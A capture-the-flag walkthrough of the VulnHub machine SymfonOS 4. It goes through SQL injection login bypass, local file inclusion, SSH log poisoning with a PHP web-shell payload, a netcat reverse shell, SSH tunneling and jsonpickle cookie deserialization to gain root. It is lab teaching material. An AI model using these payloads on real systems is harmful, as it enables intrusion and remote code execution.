Inside this Article:
- Settings Up
- Enumeration
- Identify the IP address
- Conduct Network Scan
- Web Enumeration and Directory Busting
- Bypass Authentication using SQL Injection
- Enumerating the Bypassed Log in Dashboard
- Examining the URL Structure
- Systematic Confirmation and Exploitation of LFI Vulnerability
- Exploitation
- Foothold
- Establish a Reverse Shell
- Upgrade the Shell
- Investigate the Target Directory
- Identifying and Switching to a Target User
- Privilege Escalation
- Enumerating System Information
- Analyzing Privilege Escalation Potential via the DIP Group
- Exploiting DIP Group via Tunneling
- Investigating the Cookie for Potential Deserialization Exploits
- Privilege Escalation via Deserialization of Serialized Session Cookies
- Verify the Privilege and obtain the Flag
Hello, everyone! Welcome back to our VulnHub Walkthrough series. In today’s video, we’ll continue exploring the exciting VulnHub collection with SymfonOS. Specifically, we’re diving into the 4th virtual machine in the series, SymfonOS 4. This intermediate, OSCP-like, real-world scenario machine is designed to emphasize the importance of understanding vulnerabilities, and how to exploit them effectively. Let’s get started!
To begin, first, head over to the VulnHub website and download the machine's image file. If you’re new to VulnHub, check out our playlist for helpful guides on how to use the platform.
Vulhub: Vulnerable By Design
Vulhub provides a collection of pre-built vulnerable environments. This resource is designed to help you practice penetration testing and vulnerability assessment skills on a variety of systems.
Now, let’s jump right
into exploiting this machine!
Settings Up
Previously, we downloaded all six image files. So, our next step is to set up the virtual image in VirtualBox.
The downloaded image file is in 7Z format , so start by extracting the archive to access the files within.
Here, I found an OVA file, which is an essential extension used by VirtualBox for direct imports.
Now, our next step is to import this virtual machine.
Import Virtual Machine
To do this, double-click on the OVA file. This will automatically launch
VirtualBox and display the “
Import
Virtual Appliance
” wizard.
Click on settings. Here, in the wizard, we can adjust or modify the settings as needed.
- For better organization, I’m going to modify the primary group to the VulnHub group.
Once you've made any necessary adjustments, click on "Finish" to complete the import process.
After completing the setup, you'll see the SymfonOS 4 vulnerable machine listed in the VirtualBox Manager.
Configure the Network
To ensure both your Kali Linux machine (used for attacks) and the vulnerable machine are connected to the same network set their network adapters to Host-Only.
Go to “
Settings
,” and under the Network
tab, change the adapter to Host-Only.
Launch Attacking Machine
Once everything is ready, let’s start the virtual machine to confirm that it’s working properly.
After launching the virtual machine, you should see a login prompt, confirming that everything is set up correctly.
Now we’re ready to begin our exploration!
Launch Attacking Machine
To get started, launch your attacking machine, which in my case is Kali Linux.
With Kali up and running, it’s time to dive into the fun!
Enumeration
Identify the IP address
The first step in our attack is
enumeration, where we identify the IP address of our target machine using the
netdiscover
tool. This step helps map the network and locate devices that are
up and accessible.
To execute this, open a terminal and enter:
netdiscover –i <specify the network interface>
The command output displays a list of devices detected on the network, showing their IP and MAC addresses, as well as the associated vendor.
From these results, we can see several IP
addresses along with their corresponding MAC addresses. Our target machine’s IP
address is identified as “
192.168.103.16”.
Conduct Network Scan
Next, we'll perform a network scan to
identify open ports on the target, which is a critical part of the enumeration
process. Identifying open ports provides insights into the network’s attack
surface, helping us pinpoint services vulnerable to exploitation.
For this task, we’ll use the popular network scanning tool,
Nmap.
To execute the scan, open a terminal and run the command:
nmap -sC –sV <specify the target IP address>
In this command:
- -sC : Initiates a script scan using Nmap's default scripts, which gather additional information about each service and identify possible vulnerabilities.
- -sV : Enables version detection to determine the version of services running on open ports.
Once the scan is completed, the results reveal two open ports with their respective services:
- Port 22 (TCP): Running SSH (Secure Shell), which provides remote access if valid credentials are available. Although SSH is generally secure, weak or default passwords could make it exploitable.
- Port 80 (TCP): Running HTTP on a web server. The scan shows a basic website with no title, hosted on Apache HTTPD. This service is a common entry point for attacks and may contain web-based vulnerabilities.
These open ports present potential entry points into the target system.
The next step is to conduct a deeper enumeration
of each service to uncover vulnerabilities or clues that could facilitate initial
or shell access. This focused analysis will guide us in developing a strategic
approach to compromise the target.
Web Enumeration and Directory Busting
Our next steps involve identifying vulnerabilities to gain shell access or other footholds on the target system. Since the HTTP web server is running on Port 80, we’ll begin by analyzing it, as web services often serve as primary access points that can reveal additional attack vectors.
Access the web service by entering the target's IP address directly into a web browser.
The webpage displays an image resembling Poseidon , the Greek god of the sea , with a prominent trident symbolizing his power.
Directory Busting
To locate hidden resources, we will perform directory enumeration using tools like dirb or Gobuster. These tools systematically probe for common directory and file names that are not directly visible on the website.
This process can uncover sensitive files or directories that aid in further exploitation. Execute the following command in the terminal.
Here,
-
gobuster dir
initiates directory enumeration, -
-u
specifies the target URL, and -
-w
indicates the wordlist used for the scan.
During enumeration, we discovered a directory named "gods" .
/god Web Directory Enumeration
Opening it in the browser:
Opening it in the browser reveals an index containing files named " Hades ", " Poseidon ", and " Zeus ". These filenames suggest a theme related to Greek mythology or fantasy.
The
.log
extensions indicate the files may contain log data associated with
activities or processes.
Upon inspecting these log files I have found the information related to the god. But these are not very helpful, so we perform directory busting again to check if it may contain additional files.
To refine the enumeration, we will use Gobuster's
-
-x
option, to filter by extensions such as.php
, and.html
.
This revealed:
-
Two accessible files:
/index.html
and/atlantis.php
, both with a status code of 200. -
Additionally,
/sea.php
redirects to/atlantis.php
, indicating linked functionality.
Inspecting /atlantis.php
Inspecting
/atlantis.php
, we discovered a login portal that could serve as a potential entry
point.
Initial attempts to log in using default credentials like
admin:admin
and
admin:password
were unsuccessful.
However, based on the behavior and structure of the login form, I suspect the website may be vulnerable to SQL injection.
Bypass Authentication using SQL Injection
To confirm and exploit the SQL injection vulnerability, we carefully observe the server's response to various SQL payloads.
Next, we attempted to bypass authentication
by entering payloads. Initial attempts may be unsuccessful. However, after appending a
hash mark (
#
),
at the end of the payload, to comment out the rest of the SQL query:
- Username: ' OR '1'='1’#
- Password: ' OR '1'='1’#
Upon attempting, we successfully bypassed the login form.
Enumerating the Bypassed Log in Dashboard
Upon successful login, we discovered a dropdown menu labeled "Select a God."
The options in the dropdown are "Hades," "Poseidon," and "Zeus." It's not immediately clear what functionality is triggered by selecting one of these options.
Upon selecting an option from the dropdown displays information related to the chosen god.
Upon Selecting Hades |
Upon Selecting Poseidon |
For instance, selecting
"Zeus"
leads to the
display of details about Zeus.
Upon Selecting Zeus |
Notably, this behavior aligns with the text
previously observed in the
/gods
directory during directory enumeration.
It appears that when a god is selected from the dropdown menu, the application dynamically retrieves and displays content from a corresponding file.
Examining the URL Structure
Examining the URL structure provides a critical clue:
-
The parameter
file=zeus
suggests that the application retrieves files based on the value of thefile
parameter.
This behavior indicates a potential
Local File Inclusion (LFI)
vulnerability, as it may allow arbitrary file inclusion.
The next step is to confirm and exploit the LFI Vulnerability.
Systematic Confirmation and Exploitation of LFI Vulnerability
To
Test for LFI,
we will modify the
file
parameter in the URL to
include a relative path to other files.
However, this did not display the contents of /etc/passwd .
This outcome could be due to one of two reasons:
- The application may not be vulnerable to LFI or
- A valid and accessible file path needs further investigation.
To investigate further, I hypothesize that the application might restrict paths using, ../ sequences. Instead, I will try using, ./, which represents the current directory. By modifying the file, parameter to ./zeus I was able to successfully read the content of the Zeus file.
Building on this success, I attempted to access /etc/passwd again using this approach.
Unfortunately, this attempt was still unsuccessful.
This suggests that either the file path is explicitly restricted, or additional filtering mechanisms are in place, preventing access to sensitive files like /etc/passwd .
To systematically explore further, I will consider
additional methods, such as inspecting for potential encoding requirements or
using fuzzing tools to identify alternative file paths that may bypass these
restrictions.
Leveraging FFUF to Identify LFI File Paths
To investigate this more systematically, we used ffuf to brute-force file paths.
But before we need a few things to perform ffuf, we will need:
- cookie
- wordlist
Why do we need cookies?
Since the LFI vulnerability is being tested within a logged-in session, a valid session cookie is required. Without the cookie, ffuf will treat the page as inaccessible due to the lack of authentication .
1. Retrieve Cookie:
Open the browser's developer tools (usually by pressing F12 ), navigate to the Storage or Network tab, and copy the session cookie.
2. A Wordlist:
For brute-forcing, we used the Seclist LFI wordlist. However, it is not available in Kali Linux, so we will have to download it from GitHub.
SecLists - LFI Fuzzing Payloads
Explore LFI (Local File Inclusion) payloads curated by Jhaddix for penetration testing. These payloads are part of the SecLists project, offering a comprehensive collection of security testing resources.
We executed the following command:
where:
- -u is used to specify the target URL with FUZZ as the placeholder for brute-forcing.
- -b is used to provide the session cookie for authentication.
- -w is used to point to the wordlist used for testing file paths.
- -c is used to enable colored output for easier result interpretation.
Initially, the output included many
results, most of which were false positives. To refine this, we needed to
filter response words.
To work more efficiently we will need to Filter. By analyzing the initial output, we identified that standard error pages contained 56 words.
-
To exclude these, we
added the
-fw
flag.
Upon successful execution, one valid file
was identified:
/var/log/auth
This file may potentially provide further insights or information useful for exploitation. To do this, we will have to insert this file path in the LFI section:
Inserting this file path into the URL. It displayed the SSH login attempt logs, which provided valuable information for further analysis.
Log files can sometimes be exploited through Log Poisoning , where malicious input is written to logs and later executed by the application.
In the next phase, we will try to attempt an exploitation method to test Log Poisoning.
Exploitation
Testing for Log Poisoning in SSH Logs
To verify this,
we attempted to inject a simple test string,
'hello
world'
, as a username.
To test Log Poisoning, on a terminal and
execute:
ssh
'hello world'
@192.
168.103
.
16
Refresh the
/var/log/auth
log page to reflect and check the injections.
The log displayed the username
hello world
along with the message:
"Connection closed by
invalid user hello world."
This confirmed that our input was being
recorded in the log file, validating the presence of a Log Poisoning
vulnerability.
The next step was to inject a Remote Code Execution (RCE) payload into the logs.
Leveraging SSH Log Poisoning with PHP RCE Injection
The goal was to execute malicious PHP code that would provide a reverse shell, granting a foothold on the target system.
Inject the RCE payload using the SSH client tool utility
But upon trying to inject ssh poisoning, it displays a remote username containing an invalid characters error. This error occurred because the SSH invalid character vulnerability had been patched in newer versions, preventing exploitation through direct injection.
Given the patched SSH validation, we
switched to
Metasploit
for automated
exploitation.
Inject the RCE payload using the MSF Console
To Inject RCE with Metasploit, Launch msfconsole from the Kali menu.
Search for the appropriate SSH module and Select the appropriate module.
- Two auxiliary scanner modules were displayed.
-
We selected the
auxiliary/scanner/ssh/ssh_login
module.
Use " options " to take a look what are the options we need to set.
Here we have to set the following:
- RHOSTS
- username to inject the RCE code. set username <?php system($_GET["cmd"]); ?>
- A Password
Execute the
run
command in Metasploit.
The auxiliary module was executed successfully,
confirming that the RCE payload was injected. Now, it’s time to exploit the RCE
Payload.
Investigating RCE injection Success
Open a web browser and navigate to the vulnerable parameter URL.
Modify the URL to include a&
symbol, followed by thecmd
parameter as specified in the RCE payload. Use an equal sign(=) to input the command.
Upon running the
id
command, the server responded with the connection details,
including the
GID
(Group ID) and
UID
(User ID), confirming the
successful execution of commands on the target system.
Further steps involve leveraging the reverse shell to gain access to the target system, escalating privileges, and exploring additional vulnerabilities or sensitive data. The next step involves obtaining a reverse shell to gain full control over the target system.
Foothold
The next step is obtaining a reverse shell to gain a
foothold over the target system.
Establish a Reverse Shell
To establish a reverse shell, begin by preparing a listener on your machine.
Prepare a listener
On the terminal, use
netcat (nc)
utility to set up the listener by specifying a port to listen on.
Next, inject the reverse shell payload into the vulnerable URL.
Inject the reverse shell payload
Modify the
cmd
parameter in the URL to
execute the reverse shell payload using
nc
.
-
<Listening HOST
IP>
: To determine our local IP address
for the payload, run the
ifconfig
command. - <Listening port>
- -e flag to execute the /bin/bash command.
Once the payload is executed, verify the
connection by observing the terminal running
netcat
.
A connection message confirms that a reverse shell has been established.
Upgrade the Shell
To make the shell fully interactive, check if Python is installed on the target system using which python
The Python is available, run the
pty.spawn
method to upgrade the basic shell obtained from the reverse connection to an
interactive TTY shell. This allows the use of terminal features like tab
completion and command history.
The shell is now more stable and
interactive, improving usability for further exploitation.
Investigate the Target Directory
Now, we need to explore the
Target Directory. So,
List the files and
directories in the current working directory (
/var/www/html
) using the ls command.
The files in the directory include:
-
atlantis.php
(likely related to the web application) -
Other supporting files like
css
,js
, andindex.html
.
Usually, there is a chance of sensitivity
left in the application code. So, we will examine the Application Code of
atlantis.php
file for potentially sensitive information.
This reveals the application’s backend logic, including database credentials:
- DB_USERNAME: root
- DB_PASSWORD: yVzyRGw3cG2Uyt2r
Attempt to use these credentials to switch
to the
root
user with
su root
.
Upon trying the credentials, we received an Authentication Failure message.
This indicates that either the username-password combination is incorrect or the username itself may be incorrect.
Identifying and Switching to a Target User
To identify potential users, we examined
the system's
/etc/passwd
file, which contains a list of all user accounts:
Among the accounts, we noticed a non-root user named Poseidon.
Suspecting this user might be associated with the application, we decided to
attempt switching to the Poseidon account using the database password.
We use the su ( substitute user ) command to switch to Poseidon.
The password was accepted, and we successfully switched to the Poseidon user. Now we are operating as Poseidon, so we will check for the home directory for the user flag.
However, no flag was found in the directory or its subdirectories. Since no flag was located in Poseidon's directory, the next logical step involves Privilege Escalation to obtain higher-level access.
Privilege Escalation
In the privilege escalation process, the primary goal is to enumerate the system
further, identifying potential misconfigurations, exploitable vulnerabilities,
or overlooked permissions. Our focus is to search for
files or processes that may allow us escalation to root or another privileged
user and also we will investigate permissions, SUID files, running services,
and scheduled tasks for exploitation opportunities.
However, as we currently operate with
limited user privileges through the reverse shell, we face restrictions on
accessing certain files or commands for a comprehensive assessment.
Enumerating System Information
To move forward, we run the sudo -l command to check if the user Poseidon has any sudo privileges.
This indicates that the Poseidon user
either lacks sudo privileges or the
sudo
utility is not available in their environment.
To gather more details, we run the id command, which will provide the user's UID, GID, and group memberships.
- Poseidon is a regular user ( UID=1000 ) with no root-level privileges.
-
In the
Groups,
Tunnelling
is part of several groups likeaudio
,video
,cdrom
,dip
, andplugdev
.
Notably, the
dip
(Dial-up Internet Protocol)
the group allows managing network connections, such as
tunneling or
VPNs
.
This reveals a Potential relevance that may allow setting up reverse
SSH tunneling, port forwarding, or privilege escalation by exploiting network
configuration permissions.
Analyzing Privilege Escalation Potential via the DIP Group
To investigate further we will run the
ss -tuln
command to analyze open ports, revealing the various
Open
Ports.
In these open ports, Ports 22 and 80, previously identified via Nmap, are accessible externally. But the other 2 open ports, Port
8080
and
3306
, bound to
127.0.0.1
(localhost)
, indicate services restricted to internal connections.
- Port 3306 seems to be like MySQL database service.
- Port 8080 is potentially an internal admin panel or web service.
The restricted nature of these services
makes them inaccessible directly from an external system. However, tunneling
can expose these services to our attacking machine.
Exploiting DIP Group via Tunneling
To bypass the localhost restriction, we used SSH tunneling to forward traffic from the target's internal services to our machine. The steps involved creating a tunnel from our attacking machine to the target system.
The port 8080 hosts an admin panel or another internal service, we can forward it using the ssh client tool.
- The -L flag specifies the local port forwarding which Forwards local port 8080 to the target’s internal port 8080.
Now, it’s time to access
the forwarded service in a browser.
Navigate to
http://localhost:8080
the attacking machine.
Upon access,
the page redirected to
127.0.0.1:8080/whoami
, displaying the message:
Cookie set: Poseidon
It also provided a link labeled "
Main
Page
," which appeared to lead to a different section of the site.
Clicking on the " Main Page " link revealed a simple, likely personal or test website.
The page featured, an image of Poseidon, the Greek god of the sea , holding a trident and also a welcoming message:
Welcome back, Poseidon!
The previously displayed message, "Cookie set: Poseidon", suggests that the cookie may contain exploitable information or be useful for session hijacking.
Investigating the Cookie for Potential Deserialization Exploits
To investigate further, we accessed the browser's
Developer Tools
and navigated
to the
Storage
section to inspect the
cookie.
The cookie value was found to be:
eyJweS9vYmplY3QiOiAiYXBwLlVzZXIiLCAidXNlcm5hbWUiOiAiUG9zZWlkb24ifQ==
This string resembles
Base64 encoding
,
potentially holding critical information about the user session or application
functionality.
To understand its contents, we used a Base64 decoder to decode the cookie.
The decoded output revealed:
{"py/object":
"app.User", "username": "Poseidon"}
The decoded cookie contains the following information:
- "py/object": "app.User" : Indicates the object belongs to a Python-based application, likely serialized with Python’s pickle module or a similar library.
- "username": "Poseidon" : Confirms the username associated with the current session.
This serialized data suggests potential vulnerability to deserialization attacks if the server lacks validation mechanisms. Such attacks could enable privilege escalation or arbitrary code execution.
To test this vulnerability, we will modify the
username
field in the cookie to test whether it allows the impersonation of
other users or escalates privileges.
After editing the username, the manipulated
cookie is then injected back into the session via the
browser's Developer Tools
under the Storage section.
The server accepts the altered cookie, confirming its vulnerability to serialized object manipulation.
This provides an opportunity to exploit the deserialization process by injecting a malicious payload designed to execute commands or escalate privileges.
Refresh the browser after altering:
The modification was successful, and the application accepted the manipulated cookie. This suggests the server is vulnerable to serialized object manipulation, opening a path to inject a malicious payload for further exploitation.
Now, we look for opportunities to exploit the cookie by injecting malicious payloads into serialized Python objects, using shell commands to trigger a reverse shell.
Privilege Escalation via Deserialization of Serialized Session Cookies
To
proceed, it is critical to understand the
JSON structure
and how the
serialization mechanism, such as,
jsonpickle
,
works. This library supports complex Python object serialization, including
custom classes and functions, making it susceptible to exploitation if
improperly implemented.
The exploitation process begins by crafting a malicious payload designed to execute commands during deserialization.
A serialized JSON object is constructed with the following structure:
-
The
payload will invoke the
os.system()
function to establish a reverse shell connection. - In this JSON structure, we have to specify the attacker's IP and listening port in the payload, ensuring it targets the attacker’s machine for the reverse connection.
To inject the malicious payload into the vulnerable application, serialize the JSON object and encode it using Base64, as the application expects the cookie in this format.
With the payload prepared, replace the original cookie
value in the application's session with the
Base64-encoded
malicious payload
through the
browser's Developer Tools
in the
Storage section.
Before triggering the payload, set up the machine to receive the reverse shell connection. On a terminal, start a netcat listener using the command: nc -lvnp 4444
Next, perform an action that compels the server to process the manipulated cookie, such as refreshing the page.
When the server deserializes the payload, it executes the malicious code, triggering the reverse shell and establishing a connection to the attacker's machine.
Once the payload is executed, the reverse shell connection will be visible in the listener terminal.
Verify the Privilege and obtain the Flag
To improve usability, upgrade the shell to a fully interactive TTY shell. Use Python to achieve this by running: python -c 'import pty; pty.spawn("/bin/bash")'
This upgrade enables terminal features such as tab completion and command history, providing a stable environment for further exploitation.
Upon confirming the connection, execute the
whoami
command in the shell.
The output confirms that the current user is
root
, validating successful privilege escalation. The next step is to locate the root flag, typically
stored in the root directory.
Change to the /root directory using: cd /root
Here, we found the root flag, proof.txt . Use the cat command to view its contents and complete the challenge: cat proof.txt
This marks the successful conclusion of the attack. If you have any questions or need further clarification, feel free to leave a comment.